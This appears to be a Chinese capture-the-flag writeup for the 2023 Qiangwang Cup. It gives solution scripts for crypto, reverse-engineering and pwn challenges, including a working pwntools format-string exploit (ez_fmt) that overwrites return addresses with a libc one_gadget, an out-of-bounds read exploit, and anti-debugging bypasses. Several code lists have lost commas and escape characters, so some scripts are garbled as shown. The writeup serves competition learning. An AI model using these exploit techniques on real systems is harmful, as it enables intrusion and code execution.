    return shift_left_n(x, n) | int((x >> (32 - n)) & 0xffffffff)  # 两步合在一起实现了循环左移n位
 
def XOR(a, b):
    return list(map(lambda x, y: x ^ y, a, b))
 
# s盒查找
def sbox(idx):
    return SboxTable[idx]
 
def extended_key_LB(ka):  # 拓展密钥算法LB
    a = n32_to_list4_8(ka)  # a是ka的每8位组成的列表
    b = [sbox(i) for i in a]  # 在s盒中每8位查找后,放入列表b,再组合成int bb
    bb = list_4_8_to_int32(b)
    rk = bb ^ (shift_logical_left(bb, 13)) ^ (shift_logical_left(bb, 23))
    return rk
 
def linear_transform_L(ka):  # 线性变换L
    a = n32_to_list4_8(ka)
    b = [sbox(i) for i in a]
    bb = list_4_8_to_int32(b)  # bb是经过s盒变换的32位数
    return bb ^ (shift_logical_left(bb, 2)) ^ (shift_logical_left(bb, 10)) ^ (shift_logical_left(bb, 18)) ^ (
    shift_logical_left(bb, 24))  # 书上公式
 
def sm4_round_function(x0, x1, x2, x3, rk):  # 轮函数
    return (x0 ^ linear_transform_L(x1 ^ x2 ^ x3 ^ rk))
 
class Sm4(object):
    def __init__(self):
        self.sk = [0] * 32
        self.mode = ENCRYPT
    def sm4_set_key(self, key_data, mode):  # 先算出拓展密钥
        self.extended_key_last(key_data, mode)
    def extended_key_last(self, key, mode):  # 密钥扩展算法
        MK = [0000]
        k = [0] * 36
        MK[0] = list_4_8_to_int32(key[0:4])
        MK[1] = list_4_8_to_int32(key[4:8])
        MK[2] = list_4_8_to_int32(key[8:12])
        MK[3] = list_4_8_to_int32(key[12:16])
        k[0:4] = XOR(MK, FK)
        for i in range(32):
            k[i + 4] = k[i] ^ (extended_key_LB(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i]))
        self.sk = k[4:]  # 生成的32轮子密钥放到sk中
        self.mode = mode
        if mode == DECRYPT:  # 解密时rki逆序
            self.sk.reverse()
    def sm4_one_round(self, sk, in_put):  # 一轮算法 ,4个32位的字=128bit=16个字节(8*16)
        item = [list_4_8_to_int32(in_put[0:4]), list_4_8_to_int32(in_put[4:8]), list_4_8_to_int32(in_put[8:12]),
                list_4_8_to_int32(in_put[12:16])]  # 4字节一个字,把每4个字节变成32位的int
        x = item
        for i in range(32):
            temp = x[3]
            x[3] = sm4_round_function(x[0], x[1], x[2], x[3], sk[i])  # x[3]成为x[4]
            x[0] = x[1]
            x[1] = x[2]
            x[2] = temp
            print("%dround----->" % (i + 1), "key:%-12dn" % sk[i], "result: ", x)
        res = x
        # res = reduce (lambda x, y: [x[1], x[2], x[3], sm4_round_function (x[0], x[1], x[2], x[3], y)],sk, item) #32轮循环加密
        res.reverse()
        rev = map(n32_to_list4_8, res)
        out_put = []
        [out_put.extend(_) for _ in rev]
        return out_put
    def encrypt(self, input_data):
        # 块加密
        output_data = []
        tmp = [input_data[i:i + 16for i in range(0, len(input_data), 16)]  # 输入数据分块
        [output_data.extend(each) for each in map(lambda x: self.sm4_one_round(self.sk, x), tmp)]
        return output_data
def encrypt(mode, key, data):
    sm4_d = Sm4()
    sm4_d.sm4_set_key(key, mode)
    en_data = sm4_d.encrypt(data)
    return en_data
 
def sm4_crypt_cbc(mode, key, iv, data):
    sm4_d = Sm4()
    sm4_d.sm4_set_key(key, mode)
    en_data = sm4_d.sm4_crypt_cbc(iv, data)
    return en_data
 
if __name__ == "__main__":
    key_data = [0x010x230x450x670x890xAB0xCD0xEF0x010x23
        0x450x670x890xAB0xCD0xEF]
    sm4_d = Sm4()  # 创建一个Sm4对象
    sm4_d.sm4_set_key(key_data, ENCRYPT)  # 加密模式
    # padding_data = padding(data)  # 明文填充
    # en_data = sm4_d.encrypt(padding_data)  # 加密

    en_data = [0x060x750x190x470x160x630x880x7C0x8B0x66
        0x550xFF0x3F0x7D0x0D0x4A0xF50xD20x4E0x38
        0x3F0xE90xC20xDE0xDB0x7C0x7F0x6F0x740xB1
        0x1F0x3C]
    print("ciphertext:t", en_data)

    sm4_d.sm4_set_key(key_data, DECRYPT)  # 解密模式
    print("ndecode:")
    de_data = sm4_d.encrypt(en_data)  # 解密
    # print(file_data)
    print("plaintext: ", de_data)
    print("after decode: ", end='')
    [print(chr(i), end=''for i in de_data]        #打印flag

得到flag{h3kk0_w0rld_sur3_3n0ugh}

强网先锋

speedUp

下载附件,得到如下

2023年第七届强网杯全国网络安全挑战赛Writeup

分析代码,发现考点是求阶乘

找一个在线网站:

2023年第七届强网杯全国网络安全挑战赛Writeup

取值:27 的 4495662081

进行 sha256加密即为flag

2023年第七届强网杯全国网络安全挑战赛Writeup

flag为:bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797

ez_fmt

代码审计

2023年第七届强网杯全国网络安全挑战赛Writeup

格式化字符串漏洞,只能利用一次

思路

可以利用泄露出来的栈地址,控制printf的返回地址,然后我们就可以实现多次利用格式化字符串漏洞,通过第一次格式化字符串泄露出来栈地址且把返回地址覆盖为start,然后我们第二次格式化字符串的时候就可以劫持main的返回地址,只需要写两次

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("47.104.24.40",1337)
    elf = ELF(name)

get_p("./ez_fmt")
p.recvuntil("0x")
stack = int(p.recv(12),16)
re_stack = stack - 8

payload = (b"%" + bytes(str(0x004010B0 & 0xffff),encoding="utf-8") + b"c%8$hn%9$s").ljust(0x10,b"A") + p64(re_stack) + p64(elf.got['printf'])
print(hex(stack))

p.send(payload)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - libc.sym['printf']
print(hex(libc.address))

one_gadget = libc.address + 0xe3b01

p.recvuntil("0x")
stack = int(p.recv(12),16)
re_stack = stack + 0x68

print(hex(stack))
print(hex(one_gadget))

payload  = (b"%" + bytes(str((one_gadget >> 16)&0xff),encoding="utf-8") +b"c%9$hhn%" +  bytes(str((one_gadget & 0xffff)-((one_gadget >> 16)&0xff)),encoding="utf-8") + b"c%10$hn").ljust(0x18,b"x00") + p64(re_stack+2) + p64(re_stack)
# gdb.attach(p,"")
# sleep(2)
p.send(payload)

p.interactive()

trie

代码审计

2023年第七届强网杯全国网络安全挑战赛Writeup

大致是一个路由表的写入

漏洞在于添加路由时,trie树加入的值大小有误可以访问到secret变量

思路

通过了解trie的算法,我们可以计算出来添加子类的时的个数,可以一次性控制完路由,但是需要控制的参数太多,我们就通过多次开启程序分别读取内容,然后拼接即可

exp

from pwn import*
import binascii
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("47.104.150.173",1337)
    elf = ELF(name)

def insert(ip):
    p.sendlineafter("4. Quit.",'1')
    p.sendlineafter("Input destination IP:",str(ip>>24)+"."+str((ip>>16)&0xff)+"."+str((ip>>8)&0xff)+"."+str(0xff&ip))
    p.sendlineafter("Input the next hop:",'0.0.0.1')


ip = [0xfffffffe,0x7fffffff,0x3fffffff,0x1fffffff,0x4fffffff,0xf7ffffff,0xf3ffffff,0xf1ffffff,0xf4ffffff,0xff7fffff]

# flag = "flag{H0w_t0_B3c0m3_a5_str0ng_@s_y0u_guys}"
flag = ""
def get_flag(ip):
    global flag
    get_p("./trie")

    insert(0xffffffff)
    insert(0xfffffffe)
    insert(ip)



    p.sendlineafter("4. Quit.",'3')

    p.sendlineafter("4. Quit.",'2')




    # gdb.attach(p,"b *$rebase(0x00013AB)")
    # sleep(2)
    p.sendlineafter("Input destination IP:",str(ip>>24)+"."+str((ip>>16)&0xff)+"."+str((ip>>8)&0xff)+"."+str(0xff&ip))

    p.recvuntil("The next hop is ")
    get = p.recvline()[:-1].split(b".")
    get_val = []
    for i in get:
        get_val.append(chr(int(i.decode())))

    for i in get_val[::-1]:
        flag += i
    p.close()


for i in ip:
    get_flag(i)

print(flag)
2023年第七届强网杯全国网络安全挑战赛Writeup

石头剪刀布

代码分析

def train_model(X_train, y_train):
    model = MultinomialNB()
    model.fit(X_train, y_train)
    return model


def predict_opponent_choice(model, X_pred):
    return model.predict(X_pred)


def predict(i,my_choice):

    
    global  sequence
    model = None
    if i < 5:
        opponent_choice = [random.randint(02)]
    else:
        model = train_model(X_train, y_train)
        opponent_choice = predict_opponent_choice(model, [sequence])

可以看到前五次是随机生成的,后面的是通过固定的值去生成的,大概也是固定的,我们可以通过脚本去得到这个值,或者是记录一下它吐出来的值,我这里用记录它的值,然后带入脚本即可:

exp

from pwn import *

p = remote("8.147.133.95",17037)

# for i in range(5):
p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","0")
rot_get = []
num_get = [02102100221101012220102021011021022122000101011201121220220001112201220202100011122010112]
for i in num_get[1:]:

    p.recvline()
    guess = p.recvline()
    print(guess)
    
    p.recvline()
    num = int(p.recvline()[16:-1])
    print("现在分数:" + str(num))
    # if i == 2:
    #     p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","1")
    #     rot_get.append(2)
    # elif i == 1:
    #     p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","0")
    #     rot_get.append(1)
    # else :
    #     p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","2")
    #     rot_get.append(0)

    p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):",str(i))
    # if b'xb3xefxbcx9axe5xb8x83' in guess :
    #     p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","1")
    #     rot_get.append(2)
    # elif b'xe5x89xaaxe5x88x80' in guess :
    #     p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","0")
    #     rot_get.append(1)
    # else:
    #     p.sendlineafter("请出拳(0 - 石头,1 - 剪刀,2 - 布):","2")
    #     rot_get.append(0)
    
    
# print(rot_get)
p.interactive()

babyre

一个魔改tea

2023年第七届强网杯全国网络安全挑战赛Writeup

动调的时候有反调试,需要改一下BeingDebugged标志位

2023年第七届强网杯全国网络安全挑战赛Writeup

解密脚本

from ctypes import * 

def decrypt(v, key):
    v0, v1  = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x77BF7F99
    total = c_uint32(0xd192c263# 动调得到最后的total值
    for x in range(4): # 魔改多了一层
        for i in range(33):
            total.value += delta
            v1.value -= (key[(total.value >> 11) & 3] + total.value) ^ (v0.value + ((v0.value >> 4) ^ (v0.value << 5)))
            v0.value -= total.value ^ (key[total.value&3] + total.value) ^ (v1.value + ((v1.value >> 4) ^ (v1.value << 5)))
    return v0.value, v1.value 
  

if __name__ == "__main__":
    cipher = [0xE00xF20x230x950x930xC20xD80x8E0x930xC3,
            0x680x860xBC0x500xF20xDD0x990x440x0E0x51
            0x440xBD0x600x8C0xF20xAB0xDC0x340x600xD2
            0x0F0xC1]
    cipher = [int.from_bytes(cipher[i*4:i*4+4], 'little'for i in range(len(cipher)//4)]
    key = [0x620x6f0x6d0x62]

    print("Decrypted data is : ", end=' ')
    print("flag{", end='')
    for i in range(0, len(cipher), 2):
        res = decrypt(cipher[i:i+2], key)
        for b in res:
            print(b.to_bytes(4, byteorder='little').decode(), end='')
    
    print("}", end='')

# flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}

ezre

直接使用angrdeflat.py去除OLLVM混淆即可

首先要注意反调试

2023年第七届强网杯全国网络安全挑战赛Writeup

看程序主要逻辑

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned __int64 v4; // rax
  int v5; // eax
  int k; // [rsp+12Ch] [rbp-114h]
  int j; // [rsp+130h] [rbp-110h]
  int i; // [rsp+134h] [rbp-10Ch]
  int v10; // [rsp+13Ch] [rbp-104h]
  char v11[64]; // [rsp+140h] [rbp-100h] BYREF
  char v12[64]; // [rsp+180h] [rbp-C0h] BYREF
  char v13[64]; // [rsp+1C0h] [rbp-80h] BYREF
  char input[52]; // [rsp+200h] [rbp-40h] BYREF
  int v15; // [rsp+234h] [rbp-Ch]
  size_t v16; // [rsp+238h] [rbp-8h]

  v15 = 0;
  printf("Welcome to the CTF world:");
  memset(input, 00x32uLL);
  __isoc99_scanf("%s", input);
  v16 = strlen(input);
  v3 = strlen(input);
  v10 = 0;
  base64((__int64)input, (__int64)v11, v3);     // 第一次变表base64 l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr
  while ( v10 < 4 ) // 循环四次
  {
    srand(aWk[2]);
    v4 = strlen((const char *)(unsigned int)aWk);
    change_table((__int64)aWk, v4);
    if ( (v10 & 1) != 0 )                       // base64和另一个算法交替进行,公用同一张编码表
    {
      v5 = strlen(v11);
      base64((__int64)v11, (__int64)v12, v5);
    }
    else
    {
      sub_401250((__int64)v11, (__int64)v12);   // 找到每个字符在表的索引值,然后前一位和后一位进行加密
    }
    memset(v11, 00x32uLL);
    memcpy(v11, v12, 0x32uLL);
    ++v10;
  }
  if ( dword_4062C0 == 1 )                      // 未调试的情况下为0
  {
    sub_402EE0((__int64)aWk, (__int64)&aWk[64]);// 检测到调试才会走这里
    for ( i = 0; i < 64; ++i )
      aWk[i] = (5 * (aWk[i] + 3)) ^ 0x15;
  }
  else
  {
    for ( j = 0; j < 64; ++j )
      aWk[j] ^= 0x27u;
  }
  sub_401EB0(v12, v13);                         // 再一次加密
  for ( k = 0; k < strlen(v12); ++k )
  {
    if ( byte_406180[k] != v13[k] )
    {
      printf("wrong!");
      return 0;
    }
  }
  printf("right!");
  return 0;
}

总结如下,每张表都是可以通过动调得到

1.base64 l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr=
2.加密sub_401250 FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8
3.base64 Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA
4.加密sub_401250 pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a
5.base64 plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6
6.变换sub_401EB0

逆向

  1. 先爆破得到经过sub_401EB0函数加密的值
from z3 import*

s=Solver()
cipher = [BitVec("%d" % i,8for i in range(48)]
cmp = [0x3A0x2C0x4B0x510x680x460x590x630x240x040x5E0x5F0x000x0C0x2B0x030x290x5C0x740x700x6A0x620x7F0x3D0x2C0x4E0x6F0x130x060x0D0x060x0C0x4D0x560x0F0x280x4D0x510x760x700x2B0x050x510x680x480x550x240x19]
table = [0x530x460x4E0x720x490x420x6D0x6E0x4F0x4C0x100x560x740x7E0x620x4D,
    0x630x160x6C0x4A0x1E]

v7 = 2023
for i in range(47):
    if i % 3 == 1:
        v7 = (v7 + 5) % 20
        v3 = table[v7 + 1]
    elif i % 3 == 2:
        v7 = (v7 + 7) % 19
        v3 = table[v7 + 2]
    else:
        v7 = (v7 + 3) % 17
        v3 = table[v7 + 3]
    cipher[i] ^= v3
    cipher[i+1] ^= cipher[i]

for i in range(48):
    s.add(cmp[i] == cipher[i])

if s.check():
    m = s.model()
    cipher = [BitVec("%d" % i,8for i in range(48)]
    res = []
    for i in range(48):
        res.append(m[cipher[i]].as_long())
    print("".join([chr(i) for i in res]))
# WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==
  1. 然后变表base64解密
import base64

key = 'WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
new_table = 'plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6'
flag_en = ''

for i in range(0, len(key)):
    flag_en += old_table[new_table.find(key[i])]
res = list(base64.b64decode(flag_en))
print([i for i in res])

# [240, 84, 82, 243, 98, 70, 242, 185, 193, 19, 226, 20, 247, 97, 213, 242, 180, 185, 188, 105, 193, 61, 79, 94, 243, 148, 21, 199, 148, 52, 234, 165, 183, 40]
  1. 接着逆向sub_401250函数
from z3 import *

# cipher = 'WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='
# cipher = [ord(i) for i in cipher]
cipher = [24084822439870242185193192262024797213242180185188105193617994243148211991485223416518340]
table2 = 'pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a'

for i in range(len(cipher)//3):
    v6 = BitVec('v6'8)
    v7 = BitVec('v7'8)
    v8 = BitVec('v8'8)
    v9 = BitVec('v9'8)

    s = Solver()
    s.add(((v7 >> 4) & 3 | (v6 << 2))&0xff == cipher[i*3])
    s.add(((v8 >> 2) & 0xF | (v7 << 4))&0xff == cipher[i*3+1])
    s.add((v9 & 0x3F | (v8 << 6))&0xff == cipher[i*3+2])

    if s.check():
        m = s.model()
        print(table2[m[v6].as_long()], end='')
        print(table2[m[v7].as_long()], end='')
        print(table2[m[v8].as_long()], end='')
        print(table2[m[v9].as_long()], end='')
        
# PlE3PFoAPcdnw6esXFvIPc3RWAdn1sXiPRjIORjuB8qZ
  1. 变表base64解密
import base64

key = 'PlE3PFoAPcdnw6esXFvIPc3RWAdn1sXiPRjIORjuB8qZ'
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
new_table = 'Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA'
flag_en = ''

for i in range(0, len(key)):
    flag_en += old_table[new_table.find(key[i])]
res = list(base64.b64decode(flag_en))
print([i for i in res])
# [237, 121, 73, 239, 9, 63, 236, 30, 77, 19, 123, 29, 131, 6, 114, 236, 18, 106, 191, 254, 77, 233, 216, 56, 238, 164, 50, 142, 164, 5, 127, 26, 70]
  1. 逆向sub_401250函数
import base64
from z3 import *

# cipher = 'WZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp=='
# cipher = [ord(i) for i in cipher]
cipher = [237121732399632363077191232913161142361810619125477233216562381645014216451272670]
table2 = 'FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8'

for i in range(len(cipher)//3):
    v6 = BitVec('v6'8)
    v7 = BitVec('v7'8)
    v8 = BitVec('v8'8)
    v9 = BitVec('v9'8)

    s = Solver()
    s.add(((v7 >> 4) & 3 | (v6 << 2))&0xff == cipher[i*3])
    s.add(((v8 >> 2) & 0xF | (v7 << 4))&0xff == cipher[i*3+1])
    s.add((v9 & 0x3F | (v8 << 6))&0xff == cipher[i*3+2])

    if s.check():
        m = s.model()
        print(table2[m[v6].as_long()], end='')
        print(table2[m[v7].as_long()], end='')
        print(table2[m[v8].as_long()], end='')
        print(table2[m[v9].as_long()], end='')
        
# B6gtBdq8BGN1VX+yIdECBGt9a8N1TyIvB9hCo9hDA543
  1. 变表base64解密
import base64

key = 'B6gtBdq8BGN1VX+yIdECBGt9a8N1TyIvB9hCo9hDA543'
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
new_table = 'l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr='
flag_en = ''

for i in range(0, len(key)):
    flag_en += old_table[new_table.find(key[i])]
res = list(base64.b64decode(flag_en))
print("".join([chr(i) for i in res]))

# flag{3ea590ccwxehg715264fzxnzepqz}

结:平平无奇, 还需努力!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月19日11:21:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023年第七届强网杯全国网络安全挑战赛Writeuphttp://cn-sec.com/archives/2314955.html

发表评论

匿名网友 填写信息